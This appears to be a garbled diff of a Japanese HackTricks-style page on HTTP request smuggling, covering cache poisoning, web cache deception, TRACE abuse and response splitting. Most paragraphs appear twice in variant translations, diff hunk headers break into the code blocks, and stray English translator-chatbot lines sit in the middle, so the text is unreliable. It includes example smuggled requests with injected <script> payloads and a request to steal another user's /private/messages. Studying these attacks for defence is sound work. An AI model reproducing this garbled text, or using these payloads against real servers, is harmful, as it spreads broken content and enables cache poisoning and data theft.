以前、サーバーの応答を変更して404エラーを返す方法を観察しました（[基本的な例](#basic-examples)を参照）。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、キャッシュ内の`/static/include.js`のコンテンツが`/index.html`のもので置き換えられ、`/static/include.js`がユーザーにとってアクセス不可能になり、サービス拒否（DoS）につながる可能性があります。
以前、サーバーの応答を変更して404エラーを返す方法を観察しました（[基本的な例](#basic-examples)を参照）。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを配信させることも可能です。その結果、`/static/include.js`のコンテンツがキャッシュ内で`/index.html`のもので置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否（DoS）につながる可能性があります。
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対する広範なクロスサイトスクリプティング（XSS）攻撃を可能にします。
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して更新された`/static/include.js`に対する広範なクロスサイトスクリプティング（XSS）攻撃を可能にします。
以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです：
```
@ -498,12 +604,12 @@ x=1
その後、`/static/include.js` に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範なXSS攻撃を開始します。
### HTTPリクエストスムージングを使用してウェブキャッシュデセプションを実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### HTTPリクエストスムージングを使用してウェブキャッシュの欺瞞を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか？**
> **ウェブキャッシュポイズニングとウェブキャッシュの欺瞞の違いは何ですか？**
>
> - **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーにキャッシュから提供されます。
> - **ウェブキャッシュデセプション**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
> - **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
> - **ウェブキャッシュの欺瞞**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください：
```markdown
@ -516,17 +622,17 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
このスムグルされたリクエストが静的コンテンツ（例：`/someimage.png`）用のキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
もしこのスムグルされたリクエストが静的コンテンツ（例：`/someimage.png`）用のキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿では**](https://portswigger.net/research/trace-desync-attack) サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば：
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば：
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
I'm ready to assist you with the translation. Please provide the text you would like to have translated.
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -537,15 +643,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます（その中には**`Content-Type`**も含まれます）。そして、**HEADの直後にTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることができます**。\
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます（その中には**`Content-Type`**が含まれます）。そして、**HEADの直後にTRACEリクエストをスムグル**ことで、**送信されたデータを反映させる**ことができます。\
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを応答に反映させることができます**。\
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
### HTTPレスポンス分割を利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTPレスポンス分割を介したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストへの応答における**一部の反映データを制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストへの応答によって形成されます。
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが、TRACEメソッドを悪用する別の方法として提案されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストの応答における**反映されたデータの一部を制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです（これによりキャッシュポイズニングを実行することができます）。
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、Content-Lengthの最後のバイトの後に有効なHTTP応答を含むTRACE応答を作成できるということです。これにより、攻撃者は次の応答へのリクエストを完全に制御できるようになり（キャッシュポイズニングを実行するために使用される可能性があります）、
例:
```
@ -566,7 +672,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
これらのレスポンスを生成します（HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます）：
これらのレスポンスを生成します（HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEAD Content-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます）：
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -587,23 +693,23 @@ Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### HTTPリクエストスムーギングをHTTPレスポンスデシンクロナイゼーションで武器化する
### HTTPリクエストスムージングをHTTPレスポンスデシンクロナイゼーションで武器化する
HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
HTTPリクエストスムージングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください：
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### その他のHTTPリクエストスムーギング技術
### その他のHTTPリクエストスムージング技術
- ブラウザHTTPリクエストスムーギング（クライアントサイド）
- ブラウザHTTPリクエストスムージング（クライアントサイド）
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- HTTP/2ダウングレードにおけるリクエストスムーギング
- HTTP/2ダウングレードにおけるリクエストスムージング
{{#ref}}
request-smuggling-in-http-2-downgrades.md
@ -698,6 +804,8 @@ table.add(req)
```
## ツール
- HTTP Hacker (Burp BApp Store) – 連結/フレーミングと低レベルのHTTP動作を可視化
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
@ -716,6 +824,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- 偽の偽陽性に注意: HTTPパイプライニングとリクエストスムグリングを区別する方法 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- ブラウザ駆動のデシンク攻撃 – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – クライアントサイドデシンク – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}